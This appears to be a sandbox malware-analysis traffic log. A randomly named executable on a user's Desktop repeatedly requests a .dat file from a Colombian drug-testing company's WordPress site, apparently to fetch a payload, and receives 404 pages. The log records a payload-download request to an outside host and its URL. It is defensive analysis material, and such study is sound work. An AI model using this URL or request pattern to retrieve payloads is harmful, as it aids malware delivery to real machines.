2025-03-07 15:06:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:06:57 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49683	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:06:59 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:00 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:06:59 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:00 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:00 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:00 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49684	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:02 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:03 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:02 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:03 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:03 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:03 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:03 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49688	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:05 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:06 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:05 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:06 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:06 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:06 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49690	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:07 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:08 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:07 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:08 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:08 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:08 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:08 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49692	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:10 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:11 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:10 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:11 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html lang="es"><head><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><link r
2025-03-07 15:07:11 UTC	8584	IN	Data Raw: 63 3d 67 3b 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 6d 29 0a 09 09 09 7d 29 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 2f 61 6e 61 6c 79 74 69 63 73 2e 6a 73 27 2c 27 67 61 27 29 3b 0a 09 09 09 67 61 28 27 63 72 65 61 74 65 27 2c 20 27 55 41 2d 31 32 34 35 31 35 31 32 38 2d 31 27 2c 20 27 61 75 74 6f 27 29 3b 0a 09 09 09 67 61 28 27 73 65 6e 64 27 2c 20 27 70 61 67 65 76 69 65 77 27 29 3b 0a 09 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 61 5f 5f 73 74 74 5f 6f 66 66 6c 69 6e 65 20 7b 0a 20 20 20 Data Ascii: c=g;m.parentNode.insertBefore(a,m)})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');ga('create', 'UA-124515128-1', 'auto');ga('send', 'pageview');</script> <style> .wa__stt_offline {
2025-03-07 15:07:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-07 15:07:11 UTC	4142	IN	Data Raw: 31 30 32 31 0d 0a 6f 72 67 2f 53 69 74 65 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 22 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 33 22 3e 3c 61 20 74 69 74 6c 65 3d 22 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6c 63 6f 6d 61 78 2e 63 6f 6d 2e 63 6f 2f 70 72 75 65 62 61 73 2d 64 65 2d 64 72 6f 67 61 73 2f 22 3e 50 72 75 65 62 61 73 20 64 65 20 64 72 6f 67 61 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 Data Ascii: 1021org/SiteNavigationElement" id="menu-item-233" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-233"><a title="Pruebas de drogas" href="https://alcomax.com.co/pruebas-de-drogas/">Pruebas de drogas</a></li><li itemscope="ite

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49693	204.44.192.90	443	6188	C:\Users\user\Desktop\XTN1VzRJZm.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 15:07:13 UTC	59	OUT	GET /filas/Dswcuwygf.dat HTTP/1.1 Host: alcomax.com.co
2025-03-07 15:07:14 UTC	386	IN	HTTP/1.1 404 Not Found Date: Fri, 07 Mar 2025 15:07:13 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-07 15:07:14 UTC	7806	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 Data Ascii: 4000<!DOCTYPE html><html 